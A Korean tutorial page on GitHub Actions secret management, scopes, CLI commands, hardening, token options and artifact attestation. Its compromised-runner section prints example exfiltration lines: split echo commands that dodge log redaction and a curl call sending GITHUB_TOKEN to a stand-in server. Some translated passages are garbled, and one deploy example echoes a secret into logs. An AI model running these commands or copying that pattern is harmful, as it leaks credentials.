암호화된 암호 관리

4분

비밀은 토큰, 자격 증명 및 기타 중요한 정보를 저장하는 암호화된 환경 변수입니다. GitHub Actions 워크플로 및 작업은 필요할 때 이러한 비밀을 사용할 수 있습니다. 비밀이 일단 생성되면, 정의된 조직, 리포지토리 또는 환경에 액세스할 수 있는 권한이 있는 워크플로 및 작업에서 비밀에 접근할 수 있게 됩니다.

이 섹션에서는 GitHub Enterprise Cloud 및 GitHub Enterprise Server에서 도구와 전략을 사용하여 암호화된 비밀을 관리하는 방법을 설명합니다. 워크플로 및 작업 내에서 이러한 비밀을 사용하는 방법도 알아봅니다.

엔터프라이즈에서 암호화된 비밀 관리

GitHub Actions를 사용하면 암호화된 비밀을 통해 API 키, 인증 토큰, 암호 및 인증서와 같은 중요한 데이터를 안전하게 저장하고 사용할 수 있습니다. 이러한 비밀은 안전하게 저장되고 워크플로에 삽입됩니다. 이 디자인은 로그 또는 소스 코드에 표시되지 않도록 합니다.

엔터프라이즈 환경에서는 효과적인 비밀 관리가 중요합니다. 보안을 유지하고 규정 준수 요구 사항을 충족하며 운영 효율성을 지원하는 데 도움이 됩니다. GitHub를 사용하면 엔터프라이즈, 조직, 리포지토리 및 환경의 네 가지 수준에서 비밀을 관리할 수 있습니다.

암호화된 비밀의 범위

비밀의 범위를 이해하는 것은 엔터프라이즈 환경에서 안전하게 관리하는 데 필수적입니다.

비밀 수준	범위	액세스할 수 있는 사용자	일반적인 사용 사례
Enterprise-Level 비밀	GitHub Enterprise Cloud 조직의 모든 리포지토리에 적용합니다.	엔터프라이즈 소유자, 보안 관리자	여러 리포지토리에서 자격 증명을 공유합니다.
Organization-Level 비밀	조직의 모든 리포지토리에 적용합니다. 선택적으로 선택한 리포지토리로 제한합니다.	조직 소유자, 보안 관리자	클라우드 서비스 및 공유 데이터베이스에 액세스합니다.
Repository-Level 비밀	단일 리포지토리에만 적용합니다.	리포지토리 관리자, 워크플로 실행기	한 리포지토리에서 배포를 위한 보안 자격 증명입니다.
Environment-Level 비밀	스테이징 또는 프로덕션과 같은 리포지토리 내의 특정 배포 환경에 적용합니다.	지정된 환경의 워크플로 러너	배포 환경별로 자격 증명을 구분합니다.

주요 고려 사항:

엔터프라이즈 비밀 은 GitHub Enterprise Cloud 전용이며 조직 전체에서 중앙 집중식 관리를 지원합니다.
조직 비밀 은 세분화된 액세스 제어를 제공하며 특정 리포지토리로 제한될 수 있습니다.
환경 비밀 은 워크플로 환경에 대한 액세스를 제한하여 의도하지 않은 노출을 방지하는 데 도움이 됩니다.

조직 수준에서 암호화된 암호 관리

조직 수준에서 암호화된 비밀을 만들면 중요한 정보를 보호하는 동시에 여러 리포지토리에서 비밀을 관리하는 데 필요한 노력을 줄일 수 있습니다.

예를 들어 GitHub 조직에서 워크플로를 작성하는 일부 개발자는 일부 워크플로에서 코드를 프로덕션에 배포하기 위한 자격 증명이 필요합니다. 이러한 중요한 정보를 공유하지 않기 위해 조직 수준에서 자격 증명을 포함하는 암호화된 암호를 생성할 수 있습니다. 이러한 방식으로, 노출되지 않고 워크플로에서 자격 증명을 사용할 수 있습니다.

조직 수준에서 비밀을 생성하려면 조직의 설정으로 이동하여 사이드바에서 비밀 및 변수 > 작업 > 새 조직 비밀을 선택합니다. 표시되는 화면에서 이름 및 값을 입력하고, 암호에 대한 리포지토리 액세스 정책을 선택합니다.

조직의 새 암호 화면.

저장되면 액세스 정책이 목록의 비밀 아래에 표시됩니다.

액세스 정책이 표시된 암호화된 암호 예시.

암호에 대해 구성된 권한에 대한 자세한 내용을 보려면 업데이트를 선택합니다.

GitHub CLI를 통해 Organization-Level 암호화된 비밀 관리

조직에 대한 비밀을 만듭니다.

gh secret set SECRET_NAME --org my-org --body "super-secret-value"

모든 조직 비밀을 나열합니다.
```
gh secret list --org my-org
```

기존 비밀을 업데이트합니다.

gh secret set SECRET_NAME --org my-org --body "new-secret-value"

비밀을 삭제합니다.

gh secret delete SECRET_NAME --org my-org

조직 비밀에 대한 보안 고려 사항

기본적으로 모든 리포지토리에 대한 액세스 권한을 부여하지 않고 비밀을 특정 리포지토리로 제한합니다.
권한 있는 팀 구성원만 비밀을 만들거나 업데이트하거나 삭제할 수 있도록 RBAC(역할 기반 액세스 제어)를 구현합니다.
액세스 로그를 정기적으로 모니터링 하여 무단 사용 또는 의심스러운 활동을 식별하고 대응합니다.

리포지토리 수준에서 암호화된 비밀 관리

비밀을 특정 리포지토리로 범위 지정하려면 GitHub Enterprise Cloud 또는 GitHub Enterprise Server를 사용합니다.

리포지토리 수준 비밀 만들기

리포지토리의 설정으로 이동합니다.
, >선택합니다.
비밀의 이름과 값을 입력합니다.

리포지토리에 대한 새 비밀 화면입니다.

CLI를 통해 리포지토리 수준 암호화된 비밀 관리

리포지토리 비밀을 나열합니다.
```
gh secret list --repo my-repo
```

리포지토리 비밀을 업데이트합니다.

gh secret set SECRET_NAME --repo my-repo --body "new-secret-value"

리포지토리 비밀을 삭제합니다.

gh secret delete SECRET_NAME --repo my-repo

작업 및 워크플로 내에서 암호화된 암호 액세스

워크플로에서

secrets 컨텍스트를 사용하여 비밀을 엽니다. with 비밀을 입력으로 전달하거나 env 환경 변수로 설정하는 데 사용합니다.

steps:
  - name: Hello world action
    uses: actions/hello-world@v1
    with:
      # Pass the secret as an input to the action
      super_secret: ${{ secrets.SuperSecret }}
    env:
      # Set the secret as an environment variable
      super_secret: ${{ secrets.SuperSecret }}

with:암호를 입력 매개 변수로 작업에 전달합니다. 이 메서드는 작업에서 action.yml입력을 명시적으로 정의할 때 일반적으로 사용됩니다.
env:비밀을 단계에 환경 변수로 노출합니다. 이 방법은 단계의 명령이나 작업 내의 스크립트에 환경 변수가 예상되는 경우에 유용합니다.

작업에서

사용자 지정 작업 내에서 비밀을 사용하려면 메타데이터 파일의 action.yml 입력으로 정의하고 작업 코드에서 환경 변수로 액세스합니다.

inputs:
  super_secret:
    description: 'My secret token'
    required: true

// Access the input using the Actions Toolkit
const core = require('@actions/core');
const token = core.getInput('super_secret');

:에서 action.yml 암호를 필수 또는 선택적 입력으로 정의합니다.
코드에서 액세스:작업 도구 키트(권장)를 사용하거나 설정된 경우 환경 변수를 참조하여 비밀을 읽습니다.

경고

작업 소스 코드에서 암호를 하드 코딩하지 마세요. 입력 및 비밀을 안전하게 관리하려면 작업 도구 키트를 사용하여 코드 논리 내에서 값을 처리합니다.

GitHub Actions에 대한 보안 강화 구성

GitHub Actions에 대한 보안 강화는 소프트웨어 공급망을 안전하게 유지하는 역할을 합니다. 다음 섹션에서는 워크플로에서 사용하는 작업의 보안을 강화하기 위한 권장 사례를 안내합니다.

스크립트 삽입 공격을 완화하기 위한 모범 사례 식별

GitHub 작업에서 스크립트 삽입 공격을 완화하기 위한 몇 가지 모범 사례는 다음과 같습니다.

인라인 스크립트 대신 Javascript 작업 사용: 인라인 스크립트에 해당 값을 포함하는 대신 컨텍스트 값을 인수로 허용하는 Javascript 작업을 사용합니다. 이 방법은 컨텍스트 데이터가 셸 명령을 직접 생성하거나 실행하는 데 사용되지 않으므로 스크립트 삽입의 위험을 줄입니다.

JavaScript 작업에 변수를 입력으로 전달하면 스크립트 삽입 공격에 변수가 사용되지 않도록 방지할 수 있습니다.
```
 uses: fakeaction/checktitle@v3
 with:
   title: ${{ github.event.pull_request.title }} 
```
인라인 스크립트에서 중간 환경 변수 사용: 인라인 스크립트를 사용하는 경우 명령에서 변수를 사용하기 전에 변수를 환경 변수로 평가합니다. 이 방법을 사용하면 스크립트가 실행되기 전에 값이 확인되어 스크립트 삽입의 위험이 줄어듭니다. 예를 들어 환경 변수로 사용하면 github.event.pull_request.title 삽입 취약성으로부터 보호할 수 있습니다.
```
- name: Check PR title
    env:
      TITLE: ${{ github.event.pull_request.title }}
    run: |
      if [[ "$TITLE" =~ ^octocat ]]; then
      echo "PR title starts with 'octocat'"
      exit 0
      else
      echo "PR title did not start with 'octocat'"
      exit 1
      fi
```
워크플로 템플릿을 활용하여 코드 검색 구현: 리포지토리의 작업 탭으로 이동하고 왼쪽 창에서 새 워크플로 단추를 선택합니다. 워크플로 선택 페이지에서 워크플로 템플릿에 액세스하고 적용할 보안 섹션을 찾습니다.

특정 이벤트에서 실행되도록 CodeQL 스캐너를 구성하여 스크립트 주입과 같은 취약성을 포함하여 워크플로 내에서 사용되는 작업에서 분기의 파일을 검색하고 노출 CWU(공통 약점 열거형)에 플래그를 지정하도록 합니다.
토큰에 대한 권한 제한: 생성된 토큰에 rule of least privilege 항상 적용해야 합니다. 즉, 토큰이 만들어진 작업을 달성하기 위한 최소 권한이 토큰에 할당되었는지 확인합니다.

타사 작업을 안전하게 사용하기 위한 모범 사례

다음 모범 사례를 따라 타사 작업을 워크플로에 안전하게 통합합니다.

작성자가 신뢰할 수 있는 경우에만 태그에 작업 고정 작업의 작성자가 확인되고 신뢰할 수 있는 경우에만 버전 태그(예: v1 또는 v2)를 사용합니다. 이 작업은 이후 릴리스에서 예기치 않은 변경의 위험을 줄이는 데 도움이 됩니다.
```
- name: Checkout
  uses: actions/checkout@v4  # Pinned to a specific version tag
```
작업을 전체 커밋 SHA에 고정하는 것이 좋습니다 . 전체 커밋 SHA에 고정하면 변경할 수 없는 버전의 작업을 사용할 수 있습니다. 커밋 SHA가 예상 리포지토리에서 제공되는지 항상 확인합니다.
```
- name: Checkout
  uses: actions/checkout@1e31de5234b9f8995739874a8ce0492dc87873e2  # Pinned to a specific commit SHA
```
작업의 소스 코드 감사 작업의 원본을 검토하여 데이터를 안전하게 처리하고 예기치 않거나 악의적인 동작을 포함하지 않는지 확인합니다.

신뢰할 수 있는 타사 작업 표시기

신뢰할 수 있는 작업을 사용하여 워크플로의 위험을 줄입니다.

확인된 배지를 찾습니다 . 신뢰할 수 있는 작업은 GitHub Marketplace에 표시되고, GitHub에서 작성자를 확인했음을 알리는 타이틀 옆에 확인된 작성 자 배지를 표시합니다.
설명서를 확인합니다. 파일은 action.yml 잘 문서화되고 작업 작동 방식을 명확하게 설명해야 합니다.

암호화된 비밀을 관리하기 위한 GitHub Marketplace 인터페이스를 보여 주는 스크린샷

Dependabot 버전 업데이트를 사용하여 작업을 최신 상태로 유지

Dependabot 버전 업데이트를 사용하도록 설정하여 GitHub Actions 종속성을 최신 상태로 안전하게 유지합니다.

손상된 실행기의 잠재적 영향

이 섹션에서는 러너가 손상될 경우 악용될 수 있는 잠재적 공격 벡터에 대해 설명합니다.

실행기에서 데이터 반출

GitHub Actions는 로그에서 비밀을 자동으로 수정하지만 이 수정은 완전한 보안 경계가 아닙니다. 런너가 손상되면 공격자가 의도적으로 비밀 정보를 로그에 기록하여 노출시킬 수 있습니다. 예를 들면 다음과 같습니다.

echo ${SOME_SECRET:0:4}
echo ${SOME_SECRET:4:200}

손상된 실행기를 사용하여 스크립트된 HTTP 요청을 사용하여 비밀 또는 기타 중요한 리포지토리 데이터를 외부 서버로 전달할 수도 있습니다.

비밀에 대한 액세스

이벤트를 사용하여 pull_request 포크된 리포지토리에서 트리거되는 워크플로에는 읽기 전용 권한이 있으며 비밀에 액세스할 수 없습니다. 그러나 사용 권한은 이벤트 유형(예: issue_comment, issuespush또는 pull_request 동일한 리포지토리 내의 분기)에 따라 달라집니다. 실행기가 손상되면 리포지토리 비밀이 노출될 수 있으며 쓰기 권한이 있는 작업이 GITHUB_TOKEN 오용될 수 있는 위험이 있습니다.

비밀 또는 토큰이 환경 변수에 할당된 경우 를 사용하여 printenv직접 액세스할 수 있습니다.
식에서 비밀을 직접 참조하는 경우 확인된 값을 포함하는 생성된 셸 스크립트가 디스크에 저장되고 액세스할 수 있습니다.
사용자 지정 작업의 경우 위험 수준은 작업의 논리 내에서 비밀을 처리하는 방법에 따라 달라집니다. 예를 들면 다음과 같습니다.

uses: exampleaction/publish@v3
with:
  key: ${{ secrets.PUBLISH_KEY }}

GitHub Actions는 워크플로나 포함된 작업에서 참조되지 않은 경우 메모리에서 시크릿을 제거하지만, 실행기가 손상될 경우 적극적으로 사용 중인 모든 시크릿은 유출될 위험이 있습니다.

일자리 도용 `GITHUB_TOKEN`

공격자가 작업을 GITHUB_TOKEN 탈취할 수 있습니다. GitHub Actions는 워크플로를 실행하는 리포지토리로 제한된 범위의 권한으로 이 토큰을 자동으로 제공합니다. 작업이 완료되면 토큰이 만료되며 나중에 다시 사용할 수 없습니다.

손상된 러너를 사용하여 작업 실행 중에 토큰을 즉시 탈취할 수 있습니다. 공격자는 만료되기 전에 토큰을 캡처하기 위해 제어하는 서버에 대한 요청을 자동화할 수 있습니다. 예를 들면 다음과 같습니다.

curl http://example.com?token=$GITHUB_TOKEN

리포지토리 콘텐츠 수정

GITHUB_TOKEN 도난당한 경우 공격자 제어 시스템은 이를 사용하여 GitHub API를 호출하고 리포지토리 콘텐츠를 수정할 수 있습니다.

최소 권한 원칙을 토큰의 권한에 적용하면 이러한 위험을 줄일 수 있습니다. 토큰의 액세스를 작업에 필요한 것으로만 제한합니다.

리포지토리 간 액세스 관리

워크플로에서 여러 리포지토리에 액세스해야 하는 경우 보안 위험을 최소화하는 자격 증명을 선택하는 것이 중요합니다. 가장 선호도가 가장 낮은 옵션 중 일부는 다음과 같습니다.

GITHUB_TOKEN

GitHub는 각 워크플로 실행에 대해 GITHUB_TOKEN을 자동으로 생성합니다. 워크플로를 트리거하고 해당 리포지토리에 대한 쓰기 액세스 사용자에 해당하는 권한을 제공하는 단일 리포지토리로 범위가 지정됩니다. 토큰은 각 작업의 시작 부분에 만들어지고 작업이 완료되면 만료됩니다.

가능하면 GITHUB_TOKEN 보안 및 범위 인증에 사용합니다. 자세한 내용은 자동 토큰 인증을 참조하세요.
리포지토리 배포 키

워크플로 내에서 Git을 사용하여 복제하거나 푸시하려면 단일 리포지토리에 대한 읽기 또는 쓰기 액세스를 제공하는 배포 키를 사용합니다.

그러나 배포 키는 GitHub의 REST 또는 GraphQL API에 대한 액세스를 지원하지 않습니다. API 액세스가 필요하지 않고 Git 액세스가 충분한 경우에만 사용합니다.

GitHub 앱 토큰

GitHub Apps는 세분화된 권한을 제공하며 선택한 리포지토리에 설치할 수 있습니다. 내부 GitHub 앱을 만들고, 필요한 리포지토리에 설치하고, 워크플로 내에서 앱 설치로 인증하여 해당 리포지토리에 액세스할 수 있습니다.

이 방법은 개인 토큰에 비해 더 나은 액세스 제어 및 감사를 제공합니다.

개인용 액세스 토큰(PAT)

워크플로에서 클래식 개인용 액세스 토큰을 사용하지 않습니다. 이러한 토큰은 사용자와 연결된 모든 개인 및 조직 리포지토리에 광범위한 액세스 권한을 부여하여 상당한 위험을 초래합니다. 워크플로가 여러 기여자가 있는 리포지토리에서 실행되는 경우 모든 쓰기 액세스 사용자는 해당 토큰의 권한을 효과적으로 상속합니다.

개인 토큰을 사용해야 하는 경우 전용 조직 계정에 연결된 세분화된 PAT 를 만듭니다. 워크플로에 필요한 특정 리포지토리로만 액세스를 제한합니다.

비고

이 방법은 크기 조정이 어렵고 배포 키 또는 GitHub Apps를 사용하는 것이 가장 좋습니다.

새 GitHub 개인용 액세스 토큰을 생성하는 단추를 보여 주는 스크린샷

개인 계정의 SSH 키

워크플로에서 개인 계정의 SSH 키를 사용하지 마세요. 클래식 PAT와 마찬가지로 개인 및 조직 리포지토리를 포함하여 계정과 연결된 모든 리포지토리에 대한 액세스 권한을 부여합니다. 이 실수는 워크플로를 불필요한 위험에 노출합니다.

사용 사례에 Git을 통한 복제 또는 푸시가 필요한 경우 대신 배포 키를 사용하는 것이 좋습니다. 관련 없는 리포지토리를 노출하거나 개인 자격 증명을 요구하지 않고 범위가 지정된 액세스를 제공합니다.

GitHub 작업 이벤트 감사

작업 유형, 실행 시기 및 작업을 수행한 개인 계정은 '보안 로그' 및 '감사 로그'에 기록됩니다. '보안 로그'는 사용자 계정과 관련된 이벤트를 기록합니다. '감사 로그'는 조직과 관련된 이벤트를 기록합니다. 따라서 이러한 두 로그를 모두 확인하면 Github 작업과 관련된 이벤트를 감사할 수 있습니다.

GitHub Actions에서 OIDC 사용

OIDC(OpenID Connect)를 사용하여 클라우드 공급자와 직접 인증하도록 워크플로를 구성할 수 있습니다. 이 경우 더 이상 자격 증명을 비밀로 저장할 필요가 없습니다.

GitHub Actions에 대한 아티팩트 증명

아티팩트 증명은 빌드의 출처를 확립하고, 빌드된 항목, 위치 및 방법을 확인하여 소프트웨어 공급망 보안을 개선하는 데 도움이 됩니다.

증명할 내용

GitHub Actions를 사용하면 이진 파일 및 컨테이너 이미지에 대한 빌드 출처와 소프트웨어 자재 목록(SBOM)을 증명할 수 있습니다.

빌드의 아티팩트 증명 생성

빌드에 대한 아티팩트 증명을 생성하는 경우 다음을 확인해야 합니다.

워크플로에 구성된 적절한 권한이 있습니다.
빌드 출처 증명 작업을 사용하는 단계를 워크플로에 포함했습니다.

증명은 빌드의 기원을 확립합니다. 리포지토리의 작업 탭에서 증명을 볼 수 있습니다.

암호화된 비밀 관리와 관련된 GitHub의 증명 구성을 보여 주는 스크린샷

이진 파일의 빌드 출처에 대한 증명 생성

사용자가 확인하려는 이진 파일을 빌드하기 위한 워크플로에 다음 권한을 추가해야 합니다.
```
   permissions:
    id-token: write
    contents: read
    attestations: write
```

이진 파일이 빌드되는 단계 다음에 다음 단계를 추가해야 합니다.

  - name: Generate artifact attestation
    uses: actions/attest-build-provenance@v2
    with:
     subject-path: 'PATH/TO/ARTIFACT'

비고

매개변수의 subject-path 값은 사용자가 확인하는 이진 파일의 경로로 설정됩니다.

컨테이너 이미지의 빌드 출처에 대한 증명 생성

컨테이너 이미지를 빌드하는 워크플로에 다음 권한을 추가합니다.

permissions:
  id-token: write
  contents: read
  attestations: write
  packages: write

컨테이너 이미지를 빌드한 후 다음 단계를 추가합니다.
```
- name: Generate artifact attestation
  uses: actions/attest-build-provenance@v2
  with:
    subject-name: ${{ env.REGISTRY }}/${{ env.IMAGE_NAME }}
    subject-digest: 'sha256:fedcba0...'
    push-to-registry: true
```
비고
- subject-name 값은 ghcr.io/user/app 또는 acme.azurecr.io/user/app와 같은 정규화된 이미지 이름이어야 합니다. 태그를 포함하지 마세요 .
- subject-digest는 이미지의 SHA256 다이제스트여야 하며, 형식은 sha256:HEX_DIGEST이어야 합니다.
- 워크플로에서 docker/build-push-action를 사용하는 경우, 출력에서 다이제스트를 검색할 수 있습니다. 자세한 내용은 GitHub Actions에 대한 워크플로 구문을 참조하세요.

SBOM에 대한 증명 생성

SBOM에 대한 SBOM 증명을 생성하는 기능이 있습니다. SBOM을 생성하고 증명하려면 다음 단계를 수행해야 합니다.

예제와 같이 워크플로에서 적절한 권한을 설정해야 합니다.
워크플로의 단계에서 아티팩트의 SBOM을 생성해야 합니다. 예를 들어 GitHub Marketplace의 anchore-sbom-action을 참조하세요.
attest-sbom 작업을 사용하는 워크플로에 단계 포함(아래 예제 참조)

이진 파일의 SBOM 증명 생성

SBOM 증명을 생성할 이진 파일을 빌드하는 워크플로에 다음 권한을 추가합니다.
```
    permissions:
     id-token: write
     contents: read
     attestations: write
```

이진 파일이 빌드되고 SBOM이 생성된 단계 다음에 다음 단계를 추가합니다.

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-path: 'PATH/TO/ARTIFACT'
      sbom-path: 'PATH/TO/SBOM'

주의해야 할 점은 subject-path 매개 변수의 값이 SBOM에서 설명하는 바이너리 파일의 경로로 설정되어야 한다는 것입니다. sbom-path 매개 변수의 값은 생성한 SBOM 파일의 경로로 설정해야 합니다.

컨테이너 이미지의 SBOM 증명 생성

SBOM 증명을 생성할 이진 파일을 빌드하는 워크플로에 다음 권한을 추가해야 합니다.
```
   permissions:
    id-token: write
    contents: read
    attestations: write
    packages: write
```

이진 파일이 빌드되고 SBOM이 생성된 단계 다음에 다음 단계를 추가해야 합니다.

    - name: Generate SBOM attestation
    uses: actions/attest-sbom@v1
    with:
      subject-name: ${{ env.REGISTRY }}/PATH/TO/IMAGE
      subject-digest: 'sha256:fedcba0...'
      sbom-path: 'sbom.json'
      push-to-registry: true

매개 변수 subject-name의 값은 완전히 정규화된 이미지 이름을 지정합니다. 예를 들어 ghcr.io/user/app 또는 acme.azurecr.io/user/app. 이미지 이름의 일부로 태그를 포함하지 마세요.

subject-digest 매개 변수의 값은 SHA256 형식으로 sha256:HEX_DIGEST 증명을 위한 주체의 다이제스트로 설정되어야 합니다. 워크플로에서 사용하는 docker/build-push-action경우 해당 단계의 다이제스트 출력을 사용하여 값을 제공할 수 있습니다( 빌드 푸시 작업 참조). 출력 사용에 대한 자세한 내용은 GitHub Actions에 대한 워크플로 구문을 참조하세요.

매개 변수 값 sbom-path 은 확인할 JSON 형식의 SBOM 파일 경로로 설정해야 합니다.

GitHub CLI를 사용하여 아티팩트 증명 확인

GitHub CLI를 사용하여 위에서 설명한 아티팩트 증명의 유효성을 검사할 수 있습니다. 자세한 내용은 GitHub CLI 설명서의 증명 섹션 을 참조하세요.

경고

아티팩트 증명은 아티팩트가 안전하다는 보장이 아니라는 점을 기억해야 합니다. 대신, 아티팩트 증명은 소스 코드와 이를 생성한 빌드 지침에 연결해 줍니다. 소프트웨어를 사용할 때 정책 기준을 정의하고, 콘텐츠를 평가하여 해당 정책을 평가하고, 정보에 입각한 위험 결정을 내리는 것은 사용자의 몫입니다.

작업 및 워크플로 내에서 암호화된 암호 액세스

예제: 워크플로에서 비밀 사용

name: Deploy Application

on:
  push:
    branches:
      - main

jobs:
  deploy:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout repository
        uses: actions/checkout@v3

      - name: Use secret in a script
        run: echo "Deploying with API_KEY=${{ secrets.DEPLOYMENT_KEY }}"

워크플로에서 비밀을 사용하는 모범 사례

를 사용하여 로그에 echo ${{ secrets.SECRET_NAME }}.
환경 변수에 할당하는 대신 스크립트 명령 내에서 비밀을 사용합니다.
필요한 가장 낮은 수준에서 비밀을 정의하여 액세스를 제한합니다.
비밀 정보를 주기적으로 변경하고 이에 맞게 워크플로를 업데이트합니다.

타사 금고를 사용하는 방법

많은 기업에서 HashiCorp Vault, AWS Secrets Manager 및 Azure Key Vault와 같은 외부 비밀 관리 솔루션과 GitHub Actions를 통합합니다.

1. HashiCorp 볼트

- name: Fetch secret from Vault
  id: vault
  uses: hashicorp/vault-action@v2
  with:
    url: https://vault.example.com
    token: ${{ secrets.VAULT_TOKEN }}
    secret: secret/data/github/my-secret

2. AWS(Amazon Web Services) 비밀 관리자

- name: Retrieve AWS Secret
  run: |
    SECRET_VALUE=$(aws secretsmanager get-secret-value --secret-id my-secret | jq -r .SecretString)
    echo "SECRET_VALUE=${SECRET_VALUE}" >> $GITHUB_ENV

3. Azure Key Vault

- name: Retrieve Azure Secret
  uses: Azure/get-keyvault-secrets@v1
  with:
    keyvault: "my-keyvault"
    secrets: "my-secret"
    azureCredentials: ${{ secrets.AZURE_CREDENTIALS }}

타사 보관소 사용의 이점

중앙 집중식 비밀 관리는 보안 위험을 줄입니다.
자동화된 비밀 회전은 보안 정책을 준수하는 데 도움이 됩니다.
감사 로그 및 액세스 제어는 보안 모니터링을 향상시킵니다.
최소 권한 액세스 는 비밀의 무단 사용을 방지합니다.

피드백

이 페이지가 도움이 되었나요?

암호화된 암호 관리

엔터프라이즈에서 암호화된 비밀 관리

암호화된 비밀의 범위

조직 수준에서 암호화된 암호 관리

GitHub CLI를 통해 Organization-Level 암호화된 비밀 관리

조직 비밀에 대한 보안 고려 사항

리포지토리 수준에서 암호화된 비밀 관리

리포지토리 수준 비밀 만들기

CLI를 통해 리포지토리 수준 암호화된 비밀 관리

작업 및 워크플로 내에서 암호화된 암호 액세스

워크플로에서

작업에서

GitHub Actions에 대한 보안 강화 구성

스크립트 삽입 공격을 완화하기 위한 모범 사례 식별

타사 작업을 안전하게 사용하기 위한 모범 사례

신뢰할 수 있는 타사 작업 표시기

Dependabot 버전 업데이트를 사용하여 작업을 최신 상태로 유지

손상된 실행기의 잠재적 영향

실행기에서 데이터 반출

비밀에 대한 액세스

일자리 도용 GITHUB_TOKEN

리포지토리 콘텐츠 수정

리포지토리 간 액세스 관리

GitHub 작업 이벤트 감사

GitHub Actions에서 OIDC 사용

GitHub Actions에 대한 아티팩트 증명

증명할 내용

빌드의 아티팩트 증명 생성

이진 파일의 빌드 출처에 대한 증명 생성

컨테이너 이미지의 빌드 출처에 대한 증명 생성

SBOM에 대한 증명 생성

이진 파일의 SBOM 증명 생성

컨테이너 이미지의 SBOM 증명 생성

GitHub CLI를 사용하여 아티팩트 증명 확인

작업 및 워크플로 내에서 암호화된 암호 액세스

예제: 워크플로에서 비밀 사용

워크플로에서 비밀을 사용하는 모범 사례

타사 금고를 사용하는 방법

1. HashiCorp 볼트

2. AWS(Amazon Web Services) 비밀 관리자

3. Azure Key Vault

타사 보관소 사용의 이점

피드백

일자리 도용 `GITHUB_TOKEN`